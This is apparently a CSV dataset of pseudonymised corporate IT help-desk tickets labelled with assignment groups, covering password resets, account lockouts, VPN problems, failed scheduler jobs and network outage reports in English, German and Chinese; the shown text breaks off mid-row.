+collaboration_platform application uninstalled collaboration_platform application uninstalled ,GRP_0 +"""scghhnelligkeit"" meines internets plnvcwuq ikupsjhb ( umstellung auf ip / anpassung router speedport w504v !? ) + +received from: jclrangd.kjlnearz@gmail.com + +hallo frau muejkipler, + +ich hoffe sie sind für diesen fall die richtige ansprechpartnerin bzw. wissen wer hier herrn plnvcwuq ikupsjhb noch weiter helfen kann. +herr voigt ist nicht mehr greifbar und herr gerberghty im urlaub. ich würde vermuten, dass hier eine direkte klärung und mithilfe bzgl. beurteilung u.a. der telekom notwendig ist. + +allerdings ist mir nicht bekannt wie aktuell der stand im unternehmen company ist bzgl. ip umstellung. +oder müssen wir warten bis herr gerberghty aus dem urlaub ist !? + +mit freundlichen grüßen / with kind ",GRP_0 +HostName_1132: oracle finance_app financial management - web tier (epmsystem2) - service monitor(down) oracle finance_app financial management - web tier (epmsystem2) - service monitor(down),GRP_12 +"can u pl. check if server HostName_637 is working fine from: nanrfakurtyar c +sent: monday, 05 september, 2016 8:49 pm +to: -dba +subject: can u pl. check if server HostName_637 is working fine + +can u pl. check if server HostName_637 is working fine. + +also check edmsm011 + +",GRP_1 +password reset : login issues password reset : login issues,GRP_0 +"restore o:\schaem\eigene dateien\db1.mdb hallo + +würdest du bitte diese datei ""o:\schaem\eigene dateien\db1.mdb"" zurücksetzen + + +es scheint alles nicht mehr zu funktionieren +danke + +cflrqoew qbgjwaye +process planning +cflrqoew.qbgjwaye@gmail.com + +",GRP_12 +"restore directory schulzgth from public hallo marfhtyio,_x000D_ +_x000D_ +_x000D_ +der ordner schulzgth aus dem laufwerk public (\\HostName_717)ist mir abhandengekommen, kannst mir den wieder zurück holen? und ihn dann auf laufwerk, departments (\\HostName_717), distribution, formulare reinstellen, vielen dank im voraus._x000D_ +_x000D_ +_x000D_ +kind ",GRP_12 +EU_tool not run since 03.00 p.m we didn't have any information about sistem shut down EU_tool not run since 03.00 p.m we didn't have any information about sistem shut down,GRP_25 +"i'm on vacation, and my vpn isn't working. can you reset it for me? , vpn",GRP_50 +"webpage won't load + +received from: vkzwafuh.tcjnuswg@gmail.com + +hi, +i have been having trouble getting some webpages to load. +1st one is on the insurance site to change password. when i try to log on to the site it says i need to update my password. when i click on the ok all i get is a blank page. see below. please advise. + +[cid:image001.png@01d20755.724b5580] + +[cid:image002.jpg@01d20755.724b5580] + +vkzwafuh tcjnuswg - cmp +sr. application eng. +vkzwafuh.tcjnuswg@gmail.com + + + + +",GRP_0 +" account lock release request of ""kanghytaim"" account lock release request of ""kanghytaim""",GRP_0 +am keyence messgerät monitor ausgetauscht am keyence messgerät monitor ausgetauscht,GRP_42 +probleme mit ie \dwgliuyt ieqgdpbm probleme mit ie \dwgliuyt ieqgdpbm,GRP_24 +probleme mit ewew8311667 \wrcktgbd wzrgyunp probleme mit ewew8311667 \wrcktgbd wzrgyunp,GRP_24 +"tür- öffnerfunktion geht nicht. keine tür- öffnerfunktion bei folgenden zeiterfassungskarten möglich._x000D_ +6045;4586;10039;2494;4646;6081;6082",GRP_0 +"business_client issue _x000D_ +_x000D_ +received from: frydqbgs.ugmnzfik@gmail.com_x000D_ +_x000D_ +hello all,_x000D_ +_x000D_ +net weaver business client doesn't work with the message below. it's daily required function, please fix soon._x000D_ +_x000D_ +_x000D_ +[cid:image003.jpg@01d2077b.7c080d40]_x000D_ +_x000D_ +",GRP_0 +"balance carry forward for ap and ar report _x000D_ +_x000D_ +received from: ihfkwzjd.erbxoyqk@gmail.com_x000D_ +_x000D_ +dear it team_x000D_ +_x000D_ +i have run report as below i found that balance carry forward is not shown on the report both ap and ar report. please advise._x000D_ +_x000D_ +_x000D_ +[cid:image002.jpg@01d2079b.c1165fc0]_x000D_ +_x000D_ +_x000D_ +[cid:image004.jpg@01d2079b.c1165fc0]_x000D_ +_x000D_ +_x000D_ +[cid:image006.jpg@01d2079b.c1165fc0]_x000D_ +_x000D_ +[cid:image012.jpg@01d2079b.c1165fc0]_x000D_ +_x000D_ +best ",GRP_10 +"re: finished: start of s&op process - my account is blocked - password issue it support _x000D_ +could you please unlocked my account on supply_chain_software_x000D_ +best ",GRP_0 +"awb not printed out can you please have a look to this, there seems to be no output in c:\shipping. to see this i had stopped ecs_print. it is dhl from apac to japan but other countries also affected_x000D_ +_x000D_ +_x000D_ +",GRP_18 +"job Job_1953 was running longer than 30 minutes kirtyled and rerun received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1953 failed in job_scheduler at: 09/05/2016 05:40:00",GRP_6 +tastatur defekt \wcupoaty fqnzwphj tastatur defekt \wcupoaty fqnzwphj,GRP_24 +"erp locked + +received from: xosycftu.olhpmsdw@gmail.com + +hello + +please unlock my password for erp. +i need to change my password soon. + +user id: songhyody + +",GRP_0 +"job Job_3181 failed in job_scheduler at: 09/05/2016 05:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3181 failed in job_scheduler at: 09/05/2016 05:00:00",GRP_8 +报税电脑不能联网，让贺正平休。 报税电脑不能联网，让贺正平休。,GRP_30 +"abap runtime error with transaction zload system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_34_x000D_ +_x000D_ +enter user id of user having the issue: all user in plant_119 and plant_27_x000D_ +_x000D_ +transaction code(s) the user needs or was working with: zload_x000D_ +_x000D_ +describe the issue: abap runtime error_x000D_ +_x000D_ +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket._x000D_ +_x000D_ +provide access the same as this other user:",GRP_0 +reset passwords for qgilmtyc gmscovxa using password_management_tool password reset. the,GRP_17 +"archiving_tool scanner not working archiving_tool scanner not working._x000D_ +_x000D_ +please upgrade open text imaging scan to 10.2.0_x000D_ +opentext imaging enterprise scan 10..2.0_x000D_ +",GRP_0 +reset passwords for rlhuwmve krcfhoxj using password_management_tool password reset. please reseat SID_1. i need to uacyltoe hxgaycze something.,GRP_17 +computer can't started computer can't started ,GRP_31 +defekt lwl leitung \box defekt \vaigycet jtgmpdcr defekt lwl leitung \box defekt \vaigycet jtgmpdcr,GRP_24 +ie浏览器无法打开。 ie浏览器无法打开。,GRP_31 +系统故障，启动蓝屏. 系统故障，启动蓝屏. ,GRP_31 +erp SID_34 account locked. erp SID_34 account locked.,GRP_0 +"guestcompany access for wifi _x000D_ +_x000D_ +received from: htnvbwxs.gwfrzuex@gmail.com_x000D_ +_x000D_ +good morning._x000D_ +_x000D_ +i have our coivmhwj opwckbrv here, and would like for them to access to guestcompany wifi._x000D_ +_x000D_ +there will be 5 of them._x000D_ +_x000D_ +they will be here for 3 weeks._x000D_ +_x000D_ +do i need to create separate accesses for them or can they share 1 login access?_x000D_ +_x000D_ +please advise._x000D_ +_x000D_ +",GRP_0 +account locked. account locked.,GRP_0 +"after changing to new group, several workflow items from old group are (still) visible in new groups workflow, too /-154 phone: +changed from milling team csd 5111156895 to holemaking team csd 515611894, but still several workflow items from old group are visible in new groups workflow, too. erp substitution was ended by old team, as far as i was informed.",GRP_13 +"job Job_1315 failed in job_scheduler at: 09/05/2016 02:12:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1315 failed in job_scheduler at: 09/05/2016 02:12:00",GRP_9 +reset passwords for bxeagsmt zrwdgsco using password_management_tool password reset. the,GRP_17 +"[erp] query ""zload"" for production scheduling is generating abap error message got forwarded an email regarding erp query zload generating error message. _x000D_ +_x000D_ +see attachment for further details._x000D_ +_x000D_ +i'm not sure how big of an impact this has so currently opening with sev3 - feel free to raise the priority in case this is a known important query._x000D_ +_x000D_ +best ",GRP_20 +"vip2 -enable to save to local pc in citrix with erp gui. assign to whomever supports citrix. vendor is creating reports for the usa carve-out and is unable to save reports to the local pc. she is using the erp gui. a solution must be provided immediately if not sooner as this will delay the project. +description form the vendor (vvgtybyrn): + +once i am running reports, where can i save them? i need to save them as unconverted text, & then i need to open each in excel & make a few formatheywting changes before i save it & send to the team leads. i ran a uacyltoe hxgaycze using se38 for the programdnty attached to the transaction, & i cannot save to my own machine. i did try a thumb drive, but that was also unsuccessful. is there somewhere on the network where i can save them & then someone can send them to me so i can format them on my own machine & send them out? or if you have another idea on how we can accomplish it, that would be great. +",GRP_12 +"account locked out _x000D_ +_x000D_ +received from: vhlepcta.lqbgcxpt@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +abdhtyu account is locked out, could you please check?_x000D_ +_x000D_ +",GRP_0 +"power outage: usa tn, tm-usa-att-rtr circuit went down at 03:04 am et on 09/05. global_telecom_1 ticket# 690500063 usa tn, tm-usa-att-rtr circuit went down at 03:04 am et on 09/05. servers also went down but we see comcast circuit is up._x000D_ +_x000D_ +usa tn, tm-usa-att-rtr - interface 'gigabitet​hernet0/1 · "" connection to nexus5k001 ""' has state: down since 11:52 pm et on 09/04.",GRP_8 +"access to network folder + +received from: sxnzacoj.lwvqgfby@gmail.com + +please provide read and write access to mr. frseoupk feluybrn and karghytuthik for following network folder + +\\HostName_95\grinding +",GRP_12 +"not able to log on to hub from remote location, urgent please call. _x000D_ +_x000D_ +received from: slfxjznk.hmspexor@gmail.com_x000D_ +_x000D_ +",GRP_0 +"job hr_payroll_na_u2 failed in job_scheduler at: 09/04/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u2 failed in job_scheduler at: 09/04/2016 23:00:00",GRP_10 +"job hr_payroll_na_u1 failed in job_scheduler at: 09/04/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u1 failed in job_scheduler at: 09/04/2016 23:00:00",GRP_10 +"job hr_payroll_na_u6 failed in job_scheduler at: 09/04/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u6 failed in job_scheduler at: 09/04/2016 23:00:00",GRP_10 +"vpn(apvpn ,vpn) unable to connection . vpn(apvpn ,vpn) unable to connection . ",GRP_31 +"unable to generate po as per pr 3063.41.49.092 we've found the pop-up error when generating sto as per pr# 4121022907/00001 as attached, please help fixing this issue aerp., ",GRP_29 +"please unlock my erp _x000D_ +_x000D_ +received from: xosycftu.olhpmsdw@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +please unlock my erp._x000D_ +_x000D_ +user id: songhyody_x000D_ +_x000D_ +",GRP_0 +"mm# 5260903 ( kr230 ) _x000D_ +_x000D_ +received from: hmjdrvpb.komuaywn@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +could you please organise the mwst % tax for 1301 / 02, 03, 05 on the abovementioned rqfhiong zkwfqagb number?_x000D_ +_x000D_ +kind ",GRP_29 +"i forgot my erp password _x000D_ +_x000D_ +received from: uwlnpscr.lvkujfse@gmail.com_x000D_ +_x000D_ +dears,_x000D_ +_x000D_ +i forgot my erp password. could you help me to reset it? ",GRP_0 +"the terminate action for nyzxjwud jvtsgmin has completed. +-----original message----- +from: jobxpkrg klonypzr [mailto:system@hr_tool.com] +sent: monday, september 05, 2016 6:08 am +to: nwfodmhc exurcwkm +subject: the terminate action for nyzxjwud jvtsgmin has completed. + +hello , + +a termination for nyzxjwud jvtsgmin, 1133645201, effective 08/25/2016 has been approved. + +click the link to view. + +",GRP_2 +"network outage at usa since 8:40pm et 09/04. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____8:40pm et 09/04.__________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __no______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"zcor0003 report issue please provide details in the template below (if multiple applications are impacted, please use the quick ticket template in the ""operations"" folder)._x000D_ +site / location : apac apac_x000D_ +user id (ad) :lia1_x000D_ +system you are seeing performance problems on (please list all) (e.g., crm, erp, bw, bobj):erp_x000D_ +transactions that are slow (e.g., va01, create an order): zcor0003_x000D_ +area this belongs to (e.g., sales, finance, markhtyeting etc.):fin_x000D_ +how can this issue be replicated by the it support group: zcor0003 report is used to get shipment data. there is variant tj331, now the data is incorrect for this report, would you please help to check what's the issue? we find the problem on sep 2._x000D_ +the shipment details for aug is download on sep 1 as attached. this report is running daily to tracking shipment. _x000D_ +if you need other information, you can contact me. _x000D_ +are other users seeing this? other users in tj _x000D_ +please attach relevant screenshots and exact times when the issue occurred:",GRP_10 +"help to change the windows password using password_management_tool password tool. help to change the windows password using password_management_tool password tool. +-connected to the user system using teamviewer. +-help the user login to the password_manager_tool password tool and change the passwords. +-help the user to sync the psswords to the company network. +-caller confirmed that he was able to login. +-issue resolved. +",GRP_0 +"job snp_heu_5_regen failed in job_scheduler at: 09/04/2016 16:32:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_5_regen failed in job_scheduler at: 09/04/2016 16:32:00",GRP_6 +"job Job_1306 failed in job_scheduler at: 09/04/2016 15:29:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1306 failed in job_scheduler at: 09/04/2016 15:29:00",GRP_9 +"job bwhrattr failed in job_scheduler at: 09/04/2016 12:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwhrattr failed in job_scheduler at: 09/04/2016 12:11:00",GRP_9 +"windows password _x000D_ +_x000D_ +received from: tbioceqj.ukjietwz@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i want change my password and make a mistake,_x000D_ +can you please reject to my old one_x000D_ +_x000D_ +",GRP_0 +"job snp_heu_1_regen failed in job_scheduler at: 09/04/2016 10:17:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job snp_heu_1_regen failed in job_scheduler at: 09/04/2016 10:17:00",GRP_6 +"firmware upgrade on the phones davgtgyrh called in for an issue where there was supposed to be a firmware upgrade on the phones but davgtgyrh mentioned that the phones are still rebooting and its on a loop. +",GRP_4 +"job Job_1395 failed in job_scheduler at: 09/04/2016 07:58:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1395 failed in job_scheduler at: 09/04/2016 07:58:00",GRP_9 +"emailing: 16-177747.htm _x000D_ +_x000D_ +received from: cowsvzel.ryhkefwv@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +_x000D_ +now a days we are getting lot of other regions report in india dump, can you please solve this_x000D_ +every month we get close to 5-10 engineering_tool's in to our system_x000D_ +_x000D_ +",GRP_25 +"network outage :bellusco, it - divestiture site:site hard down since at 6:40 am et on 09/04.no backup what type of outage: __x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _____6:40 am et on 09/04_________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? _na___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na___ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"laptop not booting up when vigrtgyne is logging into his laptop, the laptop is automatically shutting down. he tried doing a power shutdown and also kept the pc off for an hour but still the same. the moment he's logging in, pc is shutting down by itself. + +user id - ravhdyui +pc name - aidl8911055 +service tag - dbd1hz1 +model - latitude e5430 non-vpro +",GRP_19 +"job co_val_update_crosscomp failed in job_scheduler at: 09/04/2016 05:55:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job co_val_update_crosscomp failed in job_scheduler at: 09/04/2016 05:55:00",GRP_10 +"network outage: turkey turkey - site hard down since on 01:56 am et on 09/04/16 . what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____slo_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______ 01:56 am et._______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____no____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job SID_48cold failed in job_scheduler at: 09/03/2016 21:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_48cold failed in job_scheduler at: 09/03/2016 21:15:00",GRP_5 +"job SID_50cold failed in job_scheduler at: 09/03/2016 21:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_50cold failed in job_scheduler at: 09/03/2016 21:15:00",GRP_5 +"job SID_27hot failed in job_scheduler at: 09/03/2016 20:55:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_27hot failed in job_scheduler at: 09/03/2016 20:55:00",GRP_5 +"job SID_41cold failed in job_scheduler at: 09/03/2016 20:52:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_41cold failed in job_scheduler at: 09/03/2016 20:52:00",GRP_5 +"job SID_44cold failed in job_scheduler at: 09/03/2016 20:41:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_44cold failed in job_scheduler at: 09/03/2016 20:41:00",GRP_5 +bridgex from lacw8515941 step 'login' failed: resource not found bridgex from lacw8515941 step 'login' failed: resource not found,GRP_14 +"job SID_27hot failed in job_scheduler at: 09/03/2016 20:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_27hot failed in job_scheduler at: 09/03/2016 20:11:00",GRP_5 +"job SID_41cold failed in job_scheduler at: 09/03/2016 20:04:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_41cold failed in job_scheduler at: 09/03/2016 20:04:00",GRP_5 +"job SID_51cold failed in job_scheduler at: 09/03/2016 20:04:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_51cold failed in job_scheduler at: 09/03/2016 20:04:00",GRP_5 +"job SID_23cold failed in job_scheduler at: 09/03/2016 19:58:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_23cold failed in job_scheduler at: 09/03/2016 19:58:00",GRP_5 +"job Job_727 failed in job_scheduler at: 09/03/2016 19:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_727 failed in job_scheduler at: 09/03/2016 19:54:00",GRP_5 +"job SID_38cold failed in job_scheduler at: 09/03/2016 19:53:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_38cold failed in job_scheduler at: 09/03/2016 19:53:00",GRP_5 +"job SID_32cold failed in job_scheduler at: 09/03/2016 19:50:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_32cold failed in job_scheduler at: 09/03/2016 19:50:00",GRP_5 +"job SID_39cold failed in job_scheduler at: 09/03/2016 19:34:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_39cold failed in job_scheduler at: 09/03/2016 19:34:00",GRP_5 +"job SID_79cold failed in job_scheduler at: 09/03/2016 19:34:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_79cold failed in job_scheduler at: 09/03/2016 19:34:00",GRP_5 +"job SID_47cold failed in job_scheduler at: 09/03/2016 19:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_47cold failed in job_scheduler at: 09/03/2016 19:33:00",GRP_5 +node HostName_587 located at germany is down since 6:19 pm 9/3 et node HostName_587 located at germany is down since 6:19 pm 9/3 et,GRP_12 +node HostName_20 located at Israel is down since 9/3 at 5:15 pm et node HostName_20 located at EMEA is down since 9/3 at 5:15 pm et,GRP_8 +"job Job_1665 failed in job_scheduler at: 09/03/2016 18:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1665 failed in job_scheduler at: 09/03/2016 18:30:00",GRP_8 +"job Job_484 failed in job_scheduler at: 09/03/2016 12:04:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_484 failed in job_scheduler at: 09/03/2016 12:04:00",GRP_8 +"delete personal address from system from: qpixeudn rjlziysd +sent: saturday, september 03, 2016 5:04 pm +to: nwfodmhc exurcwkm +cc: ifblxjmc dyrgfwbm; jayachandran reddy +subject: re: ee personal address in system + +hello all... +bill here on sat. morning battling a hurricane in va. beach. +i looked back at the e mailsi have received on my g mail account and see one from callie with ""hrssc"" as a copy list. candice with the same copy list and a lynda at hr shared service with again the same copy list. +i hope this helps!! + +bb +bigtyl bachsmhdyhti +eastern zone manager +company + +on sep 2, 2016, at 5:20 pm, nwfodmhc exurcwkm wrote: +hi candice, + +does this happen when you send an email to a specific group or all the groups that bill is a part of? if it is a single group, may i know the group's name? + +",GRP_26 +"job Job_1983 failed in job_scheduler at: 09/03/2016 08:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1983 failed in job_scheduler at: 09/03/2016 08:02:00",GRP_6 +no sound no sound ,GRP_0 +"unable to create erp notification + +received from: dfiyvmec.wxioadpt@gmail.com + +[cid:image001.png@01d205fe.ffce2de0] + +kuhgtyjvelu. u +manager – reliability engineering +dfiyvmec.wxioadpt@gmail.com + +",GRP_45 +"inwarehouse_tool format - issue outputs to e-mail _x000D_ +_x000D_ +received from: zfliqpxm.dgfvaqlh@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +while using t/c zz_mails we are getting inwarehouse_tools in 2 different formats._x000D_ +please refer enclosed e-mails_x000D_ +_x000D_ +inwarehouse_tool 0512673680 : not okay_x000D_ +_x000D_ +inwarehouse_tool 0512669014 : is okay_x000D_ +_x000D_ +please help us in getting all inwarehouse_tools as per format appearing in inwarehouse_tool 0512669014_x000D_ +_x000D_ +",GRP_13 +"job Job_1913 failed in job_scheduler at: 09/03/2016 06:34:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1913 failed in job_scheduler at: 09/03/2016 06:34:00",GRP_6 +"job Job_1996 failed in job_scheduler at: 09/03/2016 06:26:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1996 failed in job_scheduler at: 09/03/2016 06:26:00",GRP_6 +"i can't logon erp at home, please help to solve this issue _x000D_ +_x000D_ +received from: baoapacg.wanrtyg@company.com_x000D_ +_x000D_ +[cid:image001.png@01d2060f.78853e80]_x000D_ +_x000D_ +",GRP_19 +"network outage:milton keynes, uk - divestiture site: site is hard down since at 3:46 am et on 09/03.no backup what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______3:46 am et on 09/03_______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __na____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job bk_hana_SID_62_os_dly_dp failed in job_scheduler at: 09/03/2016 04:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_hana_SID_62_os_dly_dp failed in job_scheduler at: 09/03/2016 04:02:00",GRP_8 +"new order from: jmfvwrek pqwehmzgagannathan _x000D_ +sent: saturday, september 03, 2016 9:54 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: notification: fw: re: new order_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +am forwarding the trailing mail received. kindly do the needful. _x000D_ +_x000D_ +",GRP_26 +ad account locked ad account locked ,GRP_0 +"unable to connect to web unable to connect to web ,and check download files ",GRP_0 +"emails not available in outlook but available in owa + +received from: dargthy.sohfyuimaiah@company.com + +team, + + +i am unable to view emails in outlook of june 2015 and before, but i can see them in owa. + + +its difficult to analyze the old emails in owa compared to outlook. + + +could you please help in refreshing the emails in outlook. + + +my outlook version is 2016. + + +best ",GRP_0 +"job Job_1384 failed in job_scheduler at: 09/03/2016 01:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1384 failed in job_scheduler at: 09/03/2016 01:09:00",GRP_9 +"desktop icon size issue name:jvpkulxw ovuweygj +language: +browser:microsoft internet explorer +email:jvpkulxw.ovuweygj@gmail.com +customer number: +telephone: +summary:desktop icon size issue",GRP_0 +"job SID_37hoti failed in job_scheduler at: 09/02/2016 22:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hoti failed in job_scheduler at: 09/02/2016 22:20:00",GRP_5 +"mouse started jumping all over the screen again. _x000D_ +_x000D_ +received from: ulroqsyf.wctpnarb@gmail.com_x000D_ +_x000D_ +i had this problem earlier._x000D_ +this was resolved by replacement of hardware._x000D_ +_x000D_ +however i am experiencing this problem again..pl support_x000D_ +_x000D_ +",GRP_19 +"vpn vpn access _x000D_ +_x000D_ +received from: qfcxbpht.oiykfzlr@gmail.com_x000D_ +_x000D_ +for some reason my logon information won't work with vpn vpn access tonight. could you please investigate? the following is the link i follow._x000D_ +_x000D_ +_x000D_ +_x000D_ + ",GRP_0 +"job Job_2573 failed in job_scheduler at: 09/02/2016 18:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2573 failed in job_scheduler at: 09/02/2016 18:00:00",GRP_8 +"#mm2247736 can not inwarehouse_tool consignment mb58 acct 81254672, total 36 piezas. #mm2247736 can not inwarehouse_tool consignment mb58 acct 81254672, total 36 piezas.",GRP_13 +erp report zcor0003 variant rod stock 1 is working for some employee's in the usa plant. report won't work.,GRP_44 +"unable to edit quantities under oppurtunities in crm unable to edit quantities under oppurtunities in crm. refer attachment. + +phone: ",GRP_40 +unable to launch outlook unable to launch outlook,GRP_0 +need email address to login to outlook need email address to login to outlook,GRP_0 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +"hana + +received from: nealxjbc.owjduxai@gmail.com + +earlier i started a chat with rakthyesh. i was pulling a report though hana and after selecting the analysis tab and refreshing i was thing going to display. i needed to filter this template to add my plant. when i would select display all of my boxes were empty (see attached). he did something and asked me to close and reopen. once i reopened my analysis tab was gone so i wasn't able to refresh to then go to display to see if my filters were fixed. + +he then fixed my analysis tab while we were still in chat but after doing this when i tried to select display the white boxes that i was seeing was no longer showing. i would hit display and all i could see was my spreadsheet (no boxes). + +he said he would have to do a ticket. i've not been copied on a ticket buy i need to run this report. + +before sending this email i went back into hana to see if by chance my report or problem was fixed and the analysis tab is gone again. + +if you can please correct this for me. + +nealxjbc owjduxai +customer service supervisor, cec infrastructure +nealxjbc.owjduxai@gmail.com +",GRP_9 +"change accounts from full time employee to contractor hello, + +effective september 5 please change merthayu and behsnjty's accounts from employees to vendors and donot deactivate their accesses.based on my conversation with khrtyujuine, snhdfihytu and suhtnhdyio, opening this ticket. + +",GRP_2 +interface fa0/21 on company-sa-bra-sao-pollaurido-switch-c-2950-access-sw03.company.com is down since 2:25pm on 09/2/16 interface: fastethernet0/21 · 1721 router embertell(61.01.52.026) on company-sa-bra-sao-pollaurido-switch-c-2950-access-sw03.company.com is down since 2:25pm on 09/2/16,GRP_8 +HostName_115 :volume consumed on : c:\ is more than 85% . HostName_115: volume: c:drive on server is over 85% space consumed. space available: 4.5 g ,GRP_12 +outlook email font size issue outlook email font size issue,GRP_0 +"job Job_1108 failed in 